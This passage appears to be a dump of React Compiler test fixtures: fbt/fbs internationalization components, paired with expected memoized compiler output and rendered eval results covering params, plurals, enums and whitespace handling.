    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbs-params.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {fbs} from 'fbt';\n\nfunction Component(props) {\n  return (\n    <div\n      title={\n        <fbs desc={'Dialog to show to user'}>\n          Hello <fbs:param name=\"user name\">{props.name}</fbs:param>\n        </fbs>\n      }>\n      Hover me\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Sathya'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { fbs } from \"fbt\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.name) {\n    t0 = (\n      <div\n        title={fbs._(\n          \"Hello {user name}\",\n          [fbs._param(\"user name\", props.name)],\n          { hk: \"2zEDKF\" },\n        )}\n      >\n        Hover me\n      </div>\n    );\n    $[0] = props.name;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ name: \"Sathya\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div title=\"Hello Sathya\">Hover me</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbs-params.js",
    "content": "import {fbs} from 'fbt';\n\nfunction Component(props) {\n  return (\n    <div\n      title={\n        <fbs desc={'Dialog to show to user'}>\n          Hello <fbs:param name=\"user name\">{props.name}</fbs:param>\n        </fbs>\n      }>\n      Hover me\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Sathya'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call-complex-param-value.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  const text = fbt(\n    `Hello, ${fbt.param('(key) name', identity(props.name))}!`,\n    '(description) Greeting'\n  );\n  return <div>{text}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Sathya'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\nimport { identity } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.name) {\n    t0 = fbt._(\n      \"Hello, {(key) name}!\",\n      [fbt._param(\"(key) name\", identity(props.name))],\n      { hk: \"2sOsn5\" },\n    );\n    $[0] = props.name;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const text = t0;\n  let t1;\n  if ($[2] !== text) {\n    t1 = <div>{text}</div>;\n    $[2] = text;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ name: \"Sathya\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>Hello, Sathya!</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call-complex-param-value.js",
    "content": "import fbt from 'fbt';\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  const text = fbt(\n    `Hello, ${fbt.param('(key) name', identity(props.name))}!`,\n    '(description) Greeting'\n  );\n  return <div>{text}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Sathya'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\nfunction Component(props) {\n  const text = fbt(\n    `${fbt.param('(key) count', props.count)} items`,\n    '(description) Number of items'\n  );\n  return <div>{text}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{count: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.count) {\n    t0 = fbt._(\n      \"{(key) count} items\",\n      [fbt._param(\"(key) count\", props.count)],\n      { hk: \"3yW91j\" },\n    );\n    $[0] = props.count;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const text = t0;\n  let t1;\n  if ($[2] !== text) {\n    t1 = <div>{text}</div>;\n    $[2] = text;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ count: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>2 items</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-call.js",
    "content": "import fbt from 'fbt';\n\nfunction Component(props) {\n  const text = fbt(\n    `${fbt.param('(key) count', props.count)} items`,\n    '(description) Number of items'\n  );\n  return <div>{text}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{count: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-no-whitespace-btw-text-and-param.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\nconst _ = fbt;\nfunction Component({value}: {value: string}) {\n  return (\n    <fbt desc=\"descdesc\">\n      Before text<fbt:param name=\"paramName\">{value}</fbt:param>After text\n    </fbt>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'hello world'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\n\nconst _ = fbt;\nfunction Component(t0) {\n  const $ = _c(2);\n  const { value } = t0;\n  let t1;\n  if ($[0] !== value) {\n    t1 = fbt._(\n      \"Before text{paramName}After text\",\n      [fbt._param(\"paramName\", value)],\n      { hk: \"aKEGX\" },\n    );\n    $[0] = value;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: \"hello world\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) Before texthello worldAfter text"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-no-whitespace-btw-text-and-param.tsx",
    "content": "import fbt from 'fbt';\n\nconst _ = fbt;\nfunction Component({value}: {value: string}) {\n  return (\n    <fbt desc=\"descdesc\">\n      Before text<fbt:param name=\"paramName\">{value}</fbt:param>After text\n    </fbt>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'hello world'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-leading-whitespace.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  return (\n    <span>\n      <fbt desc=\"Title\">\n        <fbt:plural count={identity(props.count)} name=\"count\" showCount=\"yes\">\n          vote\n        </fbt:plural>{' '}\n        for <fbt:param name=\"option\"> {props.option}</fbt:param>\n      </fbt>\n      !\n    </span>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{count: 42, option: 'thing'}],\n  sequentialRenders: [\n    {count: 42, option: 'thing'},\n    {count: 42, option: 'thing'},\n    {count: 1, option: 'other'},\n    {count: 1, option: 'other'},\n    {count: 42, option: 'thing'},\n    {count: 1, option: 'other'},\n    {count: 42, option: 'thing'},\n    {count: 1, option: 'other'},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\nimport { identity } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(5);\n  let t0;\n  if ($[0] !== props.count || $[1] !== props.option) {\n    let t1;\n    if ($[3] !== props.count) {\n      t1 = identity(props.count);\n      $[3] = props.count;\n      $[4] = t1;\n    } else {\n      t1 = $[4];\n    }\n    t0 = (\n      <span>\n        {fbt._(\n          { \"*\": \"{count} votes for {option}\", _1: \"1 vote for {option}\" },\n          [\n            fbt._plural(t1, \"count\"),\n            fbt._param(\n              \"option\",\n\n              props.option,\n            ),\n          ],\n          { hk: \"3Bg20a\" },\n        )}\n        !\n      </span>\n    );\n    $[0] = props.count;\n    $[1] = props.option;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ count: 42, option: \"thing\" }],\n  sequentialRenders: [\n    { count: 42, option: \"thing\" },\n    { count: 42, option: \"thing\" },\n    { count: 1, option: \"other\" },\n    { count: 1, option: \"other\" },\n    { count: 42, option: \"thing\" },\n    { count: 1, option: \"other\" },\n    { count: 42, option: \"thing\" },\n    { count: 1, option: \"other\" },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <span>42 votes for thing!</span>\n<span>42 votes for thing!</span>\n<span>1 vote for other!</span>\n<span>1 vote for other!</span>\n<span>42 votes for thing!</span>\n<span>1 vote for other!</span>\n<span>42 votes for thing!</span>\n<span>1 vote for other!</span>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-leading-whitespace.js",
    "content": "import fbt from 'fbt';\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  return (\n    <span>\n      <fbt desc=\"Title\">\n        <fbt:plural count={identity(props.count)} name=\"count\" showCount=\"yes\">\n          vote\n        </fbt:plural>{' '}\n        for <fbt:param name=\"option\"> {props.option}</fbt:param>\n      </fbt>\n      !\n    </span>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{count: 42, option: 'thing'}],\n  sequentialRenders: [\n    {count: 42, option: 'thing'},\n    {count: 42, option: 'thing'},\n    {count: 1, option: 'other'},\n    {count: 1, option: 'other'},\n    {count: 42, option: 'thing'},\n    {count: 1, option: 'other'},\n    {count: 42, option: 'thing'},\n    {count: 1, option: 'other'},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-newline.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\nfunction Component(props) {\n  const element = (\n    <fbt desc={'Dialog to show to user'}>\n      Hello{' '}\n      <fbt:param\n        name=\"a really long description\n      that got split into multiple lines\">\n        {props.name}\n      </fbt:param>\n    </fbt>\n  );\n  return element.toString();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Jason'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.name) {\n    const element = fbt._(\n      \"Hello {a really long description that got split into multiple lines}\",\n      [\n        fbt._param(\n          \"a really long description that got split into multiple lines\",\n          props.name,\n        ),\n      ],\n      { hk: \"1euPUp\" },\n    );\n    t0 = element.toString();\n    $[0] = props.name;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ name: \"Jason\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"Hello Jason\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-newline.js",
    "content": "import fbt from 'fbt';\n\nfunction Component(props) {\n  const element = (\n    <fbt desc={'Dialog to show to user'}>\n      Hello{' '}\n      <fbt:param\n        name=\"a really long description\n      that got split into multiple lines\">\n        {props.name}\n      </fbt:param>\n    </fbt>\n  );\n  return element.toString();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Jason'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-quotes.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\nfunction Component(props) {\n  const element = (\n    <fbt desc={'Dialog to show to user'}>\n      Hello <fbt:param name='\"user\" name'>{props.name}</fbt:param>\n    </fbt>\n  );\n  return element.toString();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Jason'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.name) {\n    const element = fbt._(\n      'Hello {\"user\" name}',\n      [fbt._param('\"user\" name', props.name)],\n      { hk: \"S0vMe\" },\n    );\n    t0 = element.toString();\n    $[0] = props.name;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ name: \"Jason\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"Hello Jason\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-quotes.js",
    "content": "import fbt from 'fbt';\n\nfunction Component(props) {\n  const element = (\n    <fbt desc={'Dialog to show to user'}>\n      Hello <fbt:param name='\"user\" name'>{props.name}</fbt:param>\n    </fbt>\n  );\n  return element.toString();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Jason'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-trailing-whitespace.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  return (\n    <span>\n      <fbt desc=\"Title\">\n        <fbt:plural count={identity(props.count)} name=\"count\" showCount=\"yes\">\n          vote\n        </fbt:plural>{' '}\n        for <fbt:param name=\"option\">{props.option} </fbt:param>\n      </fbt>\n      !\n    </span>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{count: 42, option: 'thing'}],\n  sequentialRenders: [\n    {count: 42, option: 'thing'},\n    {count: 42, option: 'thing'},\n    {count: 1, option: 'other'},\n    {count: 1, option: 'other'},\n    {count: 42, option: 'thing'},\n    {count: 1, option: 'other'},\n    {count: 42, option: 'thing'},\n    {count: 1, option: 'other'},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\nimport { identity } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(5);\n  let t0;\n  if ($[0] !== props.count || $[1] !== props.option) {\n    let t1;\n    if ($[3] !== props.count) {\n      t1 = identity(props.count);\n      $[3] = props.count;\n      $[4] = t1;\n    } else {\n      t1 = $[4];\n    }\n    t0 = (\n      <span>\n        {fbt._(\n          { \"*\": \"{count} votes for {option}\", _1: \"1 vote for {option}\" },\n          [\n            fbt._plural(t1, \"count\"),\n            fbt._param(\n              \"option\",\n\n              props.option,\n            ),\n          ],\n          { hk: \"3Bg20a\" },\n        )}\n        !\n      </span>\n    );\n    $[0] = props.count;\n    $[1] = props.option;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ count: 42, option: \"thing\" }],\n  sequentialRenders: [\n    { count: 42, option: \"thing\" },\n    { count: 42, option: \"thing\" },\n    { count: 1, option: \"other\" },\n    { count: 1, option: \"other\" },\n    { count: 42, option: \"thing\" },\n    { count: 1, option: \"other\" },\n    { count: 42, option: \"thing\" },\n    { count: 1, option: \"other\" },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <span>42 votes for thing!</span>\n<span>42 votes for thing!</span>\n<span>1 vote for other!</span>\n<span>1 vote for other!</span>\n<span>42 votes for thing!</span>\n<span>1 vote for other!</span>\n<span>42 votes for thing!</span>\n<span>1 vote for other!</span>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-trailing-whitespace.js",
    "content": "import fbt from 'fbt';\nimport {identity} from 'shared-runtime';\n\nfunction Component(props) {\n  return (\n    <span>\n      <fbt desc=\"Title\">\n        <fbt:plural count={identity(props.count)} name=\"count\" showCount=\"yes\">\n          vote\n        </fbt:plural>{' '}\n        for <fbt:param name=\"option\">{props.option} </fbt:param>\n      </fbt>\n      !\n    </span>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{count: 42, option: 'thing'}],\n  sequentialRenders: [\n    {count: 42, option: 'thing'},\n    {count: 42, option: 'thing'},\n    {count: 1, option: 'other'},\n    {count: 1, option: 'other'},\n    {count: 42, option: 'thing'},\n    {count: 1, option: 'other'},\n    {count: 42, option: 'thing'},\n    {count: 1, option: 'other'},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-unicode.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\nfunction Component(props) {\n  const element = (\n    <fbt desc={'Dialog to show to user'}>\n      Hello <fbt:param name=\"user name ☺\">{props.name}</fbt:param>\n    </fbt>\n  );\n  return element.toString();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Jason'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.name) {\n    const element = fbt._(\n      \"Hello {user name ☺}\",\n      [fbt._param(\"user name \\u263A\", props.name)],\n      { hk: \"1En1lp\" },\n    );\n    t0 = element.toString();\n    $[0] = props.name;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ name: \"Jason\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"Hello Jason\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-param-with-unicode.js",
    "content": "import fbt from 'fbt';\n\nfunction Component(props) {\n  const element = (\n    <fbt desc={'Dialog to show to user'}>\n      Hello <fbt:param name=\"user name ☺\">{props.name}</fbt:param>\n    </fbt>\n  );\n  return element.toString();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Jason'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params-complex-param-value.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\nfunction Component(props) {\n  return (\n    <fbt desc={'Dialog to show to user'}>\n      Hello <fbt:param name=\"user name\">{capitalize(props.name)}</fbt:param>\n    </fbt>\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.name) {\n    t0 = fbt._(\n      \"Hello {user name}\",\n      [fbt._param(\"user name\", capitalize(props.name))],\n      { hk: \"2zEDKF\" },\n    );\n    $[0] = props.name;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params-complex-param-value.js",
    "content": "import fbt from 'fbt';\n\nfunction Component(props) {\n  return (\n    <fbt desc={'Dialog to show to user'}>\n      Hello <fbt:param name=\"user name\">{capitalize(props.name)}</fbt:param>\n    </fbt>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\nfunction Component(props) {\n  return (\n    <div>\n      <fbt desc={'Dialog to show to user'}>\n        Hello <fbt:param name=\"user name\">{props.name}</fbt:param>\n      </fbt>\n      <fbt desc={'Available actions|response'}>\n        <fbt:param name=\"actions|response\">{props.actions}</fbt:param>\n      </fbt>\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\n\nfunction Component(props) {\n  const $ = _c(7);\n  let t0;\n  if ($[0] !== props.name) {\n    t0 = fbt._(\"Hello {user name}\", [fbt._param(\"user name\", props.name)], {\n      hk: \"2zEDKF\",\n    });\n    $[0] = props.name;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  let t1;\n  if ($[2] !== props.actions) {\n    t1 = fbt._(\n      \"{actions|response}\",\n      [fbt._param(\"actions|response\", props.actions)],\n      { hk: \"1cjfbg\" },\n    );\n    $[2] = props.actions;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  let t2;\n  if ($[4] !== t0 || $[5] !== t1) {\n    t2 = (\n      <div>\n        {t0}\n        {t1}\n      </div>\n    );\n    $[4] = t0;\n    $[5] = t1;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-params.js",
    "content": "import fbt from 'fbt';\n\nfunction Component(props) {\n  return (\n    <div>\n      <fbt desc={'Dialog to show to user'}>\n        Hello <fbt:param name=\"user name\">{props.name}</fbt:param>\n      </fbt>\n      <fbt desc={'Available actions|response'}>\n        <fbt:param name=\"actions|response\">{props.actions}</fbt:param>\n      </fbt>\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-jsxtext.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\nfunction Foo(props) {\n  return (\n    <fbt desc=\"Some text to be translated\">\n      <fbt:enum\n        enum-range={{'0': 'hello', '1': 'goodbye'}}\n        value={props.value ? '0' : '1'}\n      />{' '}\n      <fbt:param name=\"value\">{props.value}</fbt:param>\n      {', '}\n    </fbt>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{value: 1}],\n  sequentialRenders: [{value: 1}, {value: 0}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\n\nfunction Foo(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.value) {\n    t0 = fbt._(\n      { \"0\": \"hello {value},\", \"1\": \"goodbye {value},\" },\n      [\n        fbt._enum(props.value ? \"0\" : \"1\", { \"0\": \"hello\", \"1\": \"goodbye\" }),\n        fbt._param(\n          \"value\",\n\n          props.value,\n        ),\n      ],\n      { hk: \"Ri5kJ\" },\n    );\n    $[0] = props.value;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ value: 1 }],\n  sequentialRenders: [{ value: 1 }, { value: 0 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) hello 1,\ngoodbye 0,"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-jsxtext.js",
    "content": "import fbt from 'fbt';\n\nfunction Foo(props) {\n  return (\n    <fbt desc=\"Some text to be translated\">\n      <fbt:enum\n        enum-range={{'0': 'hello', '1': 'goodbye'}}\n        value={props.value ? '0' : '1'}\n      />{' '}\n      <fbt:param name=\"value\">{props.value}</fbt:param>\n      {', '}\n    </fbt>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{value: 1}],\n  sequentialRenders: [{value: 1}, {value: 0}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace-subtree.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\n/**\n * Note that fbt whitespace rules apply to the entire fbt subtree,\n * not just direct children of fbt elements.\n * (e.g. here, the JSXText children of the span element also use\n * fbt whitespace rules)\n */\n\nfunction Foo(props) {\n  return (\n    <fbt desc={'Dialog to show to user'}>\n      <span key={props.name}>\n        <fbt:param name=\"user name really long description for prettier\">\n          {props.name}\n        </fbt:param>\n        !\n      </span>\n    </fbt>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{name: 'Jason'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\n\n/**\n * Note that fbt whitespace rules apply to the entire fbt subtree,\n * not just direct children of fbt elements.\n * (e.g. here, the JSXText children of the span element also use\n * fbt whitespace rules)\n */\n\nfunction Foo(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.name) {\n    t0 = fbt._(\n      \"{=m0}\",\n      [\n        fbt._implicitParam(\n          \"=m0\",\n          <span key={props.name}>\n            {fbt._(\n              \"{user name really long description for prettier} !\",\n              [\n                fbt._param(\n                  \"user name really long description for prettier\",\n\n                  props.name,\n                ),\n              ],\n              { hk: \"rdgIJ\" },\n            )}\n          </span>,\n        ),\n      ],\n      { hk: \"32Ufy5\" },\n    );\n    $[0] = props.name;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ name: \"Jason\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <span>Jason !</span>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace-subtree.tsx",
    "content": "import fbt from 'fbt';\n\n/**\n * Note that fbt whitespace rules apply to the entire fbt subtree,\n * not just direct children of fbt elements.\n * (e.g. here, the JSXText children of the span element also use\n * fbt whitespace rules)\n */\n\nfunction Foo(props) {\n  return (\n    <fbt desc={'Dialog to show to user'}>\n      <span key={props.name}>\n        <fbt:param name=\"user name really long description for prettier\">\n          {props.name}\n        </fbt:param>\n        !\n      </span>\n    </fbt>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{name: 'Jason'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbt-preserve-whitespace-two-subtrees.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\n\nfunction Foo({name1, name2}) {\n  return (\n    <fbt desc=\"Text that is displayed when two people accepts the user's pull request.\">\n      <fbt:param name=\"user1\">\n        <span key={name1}>\n          <b>{name1}</b>\n        </span>\n      </fbt:param>\n      and\n      <fbt:param name=\"user2\">\n        <span key={name2}>\n          <b>{name2}</b>\n        </span>\n      </fbt:param>\n      accepted your PR!\n    </fbt>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{name1: 'Mike', name2: 'Jan'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\n\nfunction Foo(t0) {\n  const $ = _c(13);\n  const { name1, name2 } = t0;\n  let t1;\n  if ($[0] !== name1 || $[1] !== name2) {\n    let t2;\n    if ($[3] !== name1) {\n      t2 = <b>{name1}</b>;\n      $[3] = name1;\n      $[4] = t2;\n    } else {\n      t2 = $[4];\n    }\n    let t3;\n    if ($[5] !== name1 || $[6] !== t2) {\n      t3 = <span key={name1}>{t2}</span>;\n      $[5] = name1;\n      $[6] = t2;\n      $[7] = t3;\n    } else {\n      t3 = $[7];\n    }\n    let t4;\n    if ($[8] !== name2) {\n      t4 = <b>{name2}</b>;\n      $[8] = name2;\n      $[9] = t4;\n    } else {\n      t4 = $[9];\n    }\n    let t5;\n    if ($[10] !== name2 || $[11] !== t4) {\n      t5 = <span key={name2}>{t4}</span>;\n      $[10] = name2;\n      $[11] = t4;\n      $[12] = t5;\n    } else {\n      t5 = $[12];\n    }\n    t1 = fbt._(\n      \"{user1} and {user2} accepted your PR!\",\n      [fbt._param(\"user1\", t3), fbt._param(\"user2\", t5)],\n      { hk: \"2PxMie\" },\n    );\n    $[0] = name1;\n    $[1] = name2;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ name1: \"Mike\", name2: \"Jan\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <span><b>Mike</b></span> and <span><b>Jan</b></span> accepted your 